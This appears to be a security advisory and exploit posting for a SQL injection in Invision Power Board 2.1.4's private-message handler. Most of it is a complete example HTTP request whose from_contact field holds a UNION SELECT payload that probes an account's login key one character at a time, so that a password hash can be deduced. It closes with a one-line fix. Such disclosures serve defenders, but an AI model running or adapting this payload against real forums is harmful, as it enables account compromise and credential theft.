SQL injection exploit IPB <= 2.1.4

Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

This exploit has only been tested on 2.1.4. Others are most likely vulnerable but have not yet been tested. Simple SQL injection in func_msg.php on line 448. to_by_id is not properly sanitized. It's passed to the class via an instance of the messenger class, which takes it from the ipb sanitized input array. It has limited use (only know whether the query was successful). To exploit this, make a request to send a PM, but include a value in the request so that from_contact=<SQL INJECTION> Here is an example request: Host: localhost User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060405 Firefox/1.0.7 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plai n;q=0.8,image/png,*/*;q=0.5 Accept-Language: en,en-us;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://localhost/ipb/index.php?act=msg Cookie: bbmode=0; member_id=1; forum_read=a%3A1%3A%7Bi%3A2%3Bi%3A1146068785%3B%7D; pass_hash=c0a4d27ac2c36ef6fe25d27c5c0f3b17; session_id=9dd0de2c068478414d8e7bae7790ce46; ipb-myass-div=310,109 Content-Type: application/x-www-form-urlencoded Content-Length: 438 removeattachid=0&OID=&act=Msg&CODE=04&MODE=01&post_key=1f40fdcbdc94fc9c1 a402e2019f2b314&auth_key=bcb2b3362c8fa575e58cd376ab4fb6be&MAX_FILE_SIZE= 51200000&entered_name=asdfasdfasdf&carbon_copy=&msg_title=asdfasdfasdf&f font=0&fsize=0&Post=asdfasdfasdfasdfasdf&from_contact=-1+UNION+SELECT+0% 2C+CHAR%28110%2C117%2C116%2C105%2C99%2C117%2C108%2C117%2C115%29+FROM+ibf _members+WHERE+id%3D1+AND+MID%28member_login_key%2C+2%2C+1%29+%3D+CHAR%2 848%29 Using an injection like this someone's pass hash could be easily deduced. Simple fix: intval($this->to_by_id)

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